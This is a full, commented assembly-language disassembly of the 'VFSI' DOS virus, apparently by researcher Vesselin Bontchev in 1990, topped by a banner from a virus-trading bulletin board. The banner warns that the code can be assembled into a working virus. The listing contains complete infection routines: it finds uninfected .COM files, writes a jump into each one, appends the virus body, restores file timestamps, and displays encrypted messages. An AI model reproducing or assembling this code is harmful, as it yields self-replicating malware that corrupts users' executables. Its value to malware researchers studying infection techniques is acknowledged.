;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;
	page	,132
	name	VFSI
	title	The 'VFSI' virus
	.radix	16

; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
; º  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255	     º
; º									     º
; º				 The 'VFSI' Virus                            º
; º		 Disassembled by Vesselin Bontchev, September 1990	     º
; º									     º
; º		     Copyright (c) Vesselin Bontchev 1989, 1990 	     º
; º									     º
; º	 This listing is only to be made available to virus researchers      º
; º		   or software writers on a need-to-know basis. 	     º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼

; The disassembly has been tested by re-assembly using MASM 5.0.

code	segment
	assume	cs:code, ds:code

	org	100

msg_len equ	msg_2-msg_1	; Length of each of the two messages

start:
	jmp	v_entry 	; Jump to the virus body
	nop			; The rest of the infected program
	mov	ax,4C00 	; Just terminate
	int	21

; 1-15 bytes of garbage (in order to align
; the virus code to a paragraph boundary):

	db	7 dup (0)

v_entry:
	mov	ax,word ptr ds:[start+1]
	add	ax,offset start ; Compute the virus start address

	mov	cl,4		; Convert it to a segment address
	shr	ax,cl
	mov	cx,ds
	add	ax,cx
	inc	ax
	mov	ds,ax		; Put this segment address in DS

	jmp	v_start 	; Jump to the true virus code

first3	db	0EBh, 2, 90	; The original first 3 bytes
fmask	db	'*.COM', 0      ; Files to search for
jmp_op	db	0E9		; A JMP to the virus body is formed here
jmp_adr dw	0Dh

; First of the two encrypted messages. It says:
; 'HELLO!!! HAPPY DAY and SUCCESS'

msg_1	db	2Ah, 28h, 30h, 31h, 35h, 08h
	db	09h, 0Ah, 0Ah, 33h, 2Dh, 3Dh
	db	3Eh, 48h, 10h, 35h, 33h, 4Ch
	db	14h, 56h, 64h, 5Bh, 18h, 4Ch
	db	4Fh, 3Eh, 3Fh, 42h, 51h, 52h

; Second encrypted message. It says:
; '  from virus 1.1 VFSI-Svistov '

msg_2	db	02h, 03h, 4Ah, 57h, 55h, 54h
	db	08h, 5Fh, 53h, 5Dh, 61h, 60h
	db	0Eh, 20h, 1Eh, 22h, 12h, 49h
	db	3Ah, 48h, 3Fh, 24h, 4Bh, 6Fh
	db	63h, 6Eh, 70h, 6Ch, 74h, 1Fh

grb_len db	7		; Length of the garbage added to the file

v_start:
	push	ds		; Save DS

	mov	ax,ds:[first3-v_entry]		; Restore the original first 3
	mov	word ptr cs:[offset start],ax	;  bytes of the infected file
	mov	al,ds:[first3+2-v_entry]
	mov	byte ptr cs:[offset start+2],al

	mov	ax,1A00 	; Set new DTA
	lea	dx,cs:[dta-v_entry]
	int	21		; Do it

	mov	ax,4E00 	; Find first .COM file in the current directory
	lea	dx,cs:[fmask-v_entry]	; File mask to search for
	mov	cx,00100010b	; Archive, Hidden and Normal files
	int	21		; Do it

srch_lp:
	jnc	cont		; If found, continue
	jmp	close		; Otherwize exit

cont:
	mov	ax,3D02 	; Open the file for both reading and writing
	lea	dx,cs:[fname-v_entry]
	int	21		; Do it

	mov	bx,ax		; Save file handle in BX

	mov	ax,4202 	; Lseek to the end of file
	xor	cx,cx
	xor	dx,dx
	int	21		; Do it

	mov	word ptr ds:[fsize-v_entry],ax	; Save file size

	sub	ax,2		; Lseek two bytes before the file end
	mov	dx,ax
	mov	ax,4200
	int	21		; Do it

	mov	ax,3F00 	; Read the last two bytes of the file
	lea	dx,cs:[last2-v_entry]	; Put them there
	mov	cx,2		; (these bytes should contain
	int	21		;  the virus signature)

	mov	cx,ds:[last2-v_entry]	; Get these bytes
	cmp	cx,ds:[sign-v_entry]	; Compare them with the virus signature

; If they are not equal, then the file is still not infected. Go infect it:

	jne	infect

	mov	ax,3E00 	; If file infected, close it
	int	21		; Do close

	mov	ax,4F00 	; Find the next .COM file
	lea	dx,cs:[dta-v_entry]
	int	21		; Do it

	jmp	srch_lp 	; Loop until a non-infected file is found

; A non-infected file is found. Infect it:

infect:
	mov	ax,5700 	; Get file's date & time
	int	21		; Do it

	push	cx		; Save time & date on stack
	push	dx

	mov	ax,4200 	; Lseek to the file beginning
	xor	dx,dx
	xor	cx,cx
	int	21		; Do it

	mov	ax,3F00 	; Read the original first 3 bytes of the file
	mov	cx,3
	lea	dx,cs:[first3-v_entry]	; Save them in the virus body
	int	21		; Do it

	mov	ax,4200 	; Lseek to the beginning of the file again
	xor	dx,dx
	xor	cx,cx
	int	21		; Do it

; Align file size to the next multiple of 16:

	mov	ax,ds:[fsize-v_entry]
	and	ax,1111b
	push	ax		; Save AX
	xor	ax,1111b
	inc	ax

; Save the number of garbage bytes added in grb_len:

	mov	byte ptr ds:[grb_len-v_entry],al

	add	ax,ds:[fsize-v_entry]	; Form a Near JMP to the virus code
	sub	ax,3
	mov	word ptr ds:[jmp_adr-v_entry],ax	; Form the operand

	mov	ax,4000 	; Write this JMP in the first 3 bytes of file
	lea	dx,cs:[jmp_op-v_entry]
	mov	cx,3
	int	21		; Do it

	mov	ax,4202 	; Lseek to the end of file
	mov	dx,0
	xor	cx,cx
	int	21		; Do it

	lea	cx,cs:[v_end-v_entry-1] ; Virus size
	pop	ax		; Restore AX (new file size)
	mov	dx,ax
	xor	ax,1111b
	add	ax,2
	add	cx,ax		; Number of bytes to write

	mov	ax,ds		; DS := DS - 1
	dec	ax
	mov	ds,ax

	mov	ax,4000 	; Write the virus body after the end of file
	int	21		; Do it

	pop	dx		; Restore file's date & time
	pop	cx
	mov	ax,5701
	int	21		; Do it

close:
	mov	ax,3E00 	; Close the file
	int	21

	pop	ds		; Restore DS

	mov	ah,2C		; Get current time
	int	21

; If the hundreds of seconds are > 20, quit.
; This means that the messages are displayed
; with a probability of about 1/5:

	cmp	dl,20d		; Hundreds of seconds > 20?
	jg	quit		; Exit if so

; Print the messages:

	mov	ax,0E07 	; Beep (teletype write of ASCII 7)
	int	10		; Do it

	mov	ax,0F00 	; Get video mode
	int	10		; Do it

	push	ax		; Save mode on the stack

	xor	ax,ax		; Set video mode to 40x25 text
	int	10		; Do it

	mov	cx,msg_len	; Put message length in CX
	mov	dx,0A06 	; Goto row 10, column 6
	mov	bl,0E		; Screen attribute: dark yellow on black
	lea	bp,cs:[msg_1-v_entry]	; Point to the first message

prt_msg:
	mov	ah,2		; Go to the next display position
	int	10		; Do it

	mov	si,msg_len	; Get an ecrypted character from the message
	sub	si,cx
	mov	al,ds:[bp+si]

	add	al,msg_len	; These two instruction are needless
	sub	al,msg_len

	add	al,cl		; Decrypt the character

	mov	ah,9		; Write the character with the
	int	10		;  selected attribute

	inc	dl		; Go to the next screen position

	loop	prt_msg 	; Loop until done

	cmp	dh,10d		; Was this row 10?
	jne	msg_done	; If not, message printed; exit

	mov	cx,msg_len	; Otherwise get the length of the next message
	mov	bl,8C		; Screen attribute: blinking bright red on black
	mov	dx,0C06 	; Go to row 12, column 6
	lea	bp,cs:[msg_2-v_entry]	; Point to the second message
	jmp	prt_msg 	; And go print it

msg_done:
	xor	cx,cx		; CX := 0
delay:
	imul	cx		; Cause a delay
	imul	cx
	loop	delay		; Loop until done

	pop	ax		; Restore video mode from the stack
	xor	ah,ah
	int	10		; Set it as it was originally

quit:
	push	cs		; DS := CS
	pop	ds

	mov	ax,1A00 	; Restore old DTA
	mov	dx,81
	int	21		; Do it

	mov	si,offset start ; Jump to address CS:100h
	jmp	si		; Do it

sign	db	0F1, 0C8	; Virus signature

v_end	equ	$

fsize	equ	$		; Word. File size is saved here
last2	equ	$+2		; Word. Buffer for reading the virus signature
dta	equ	$+4		; Disk Transfer Area
fname	equ	dta+1E		; File name found

code	ends
	end	start
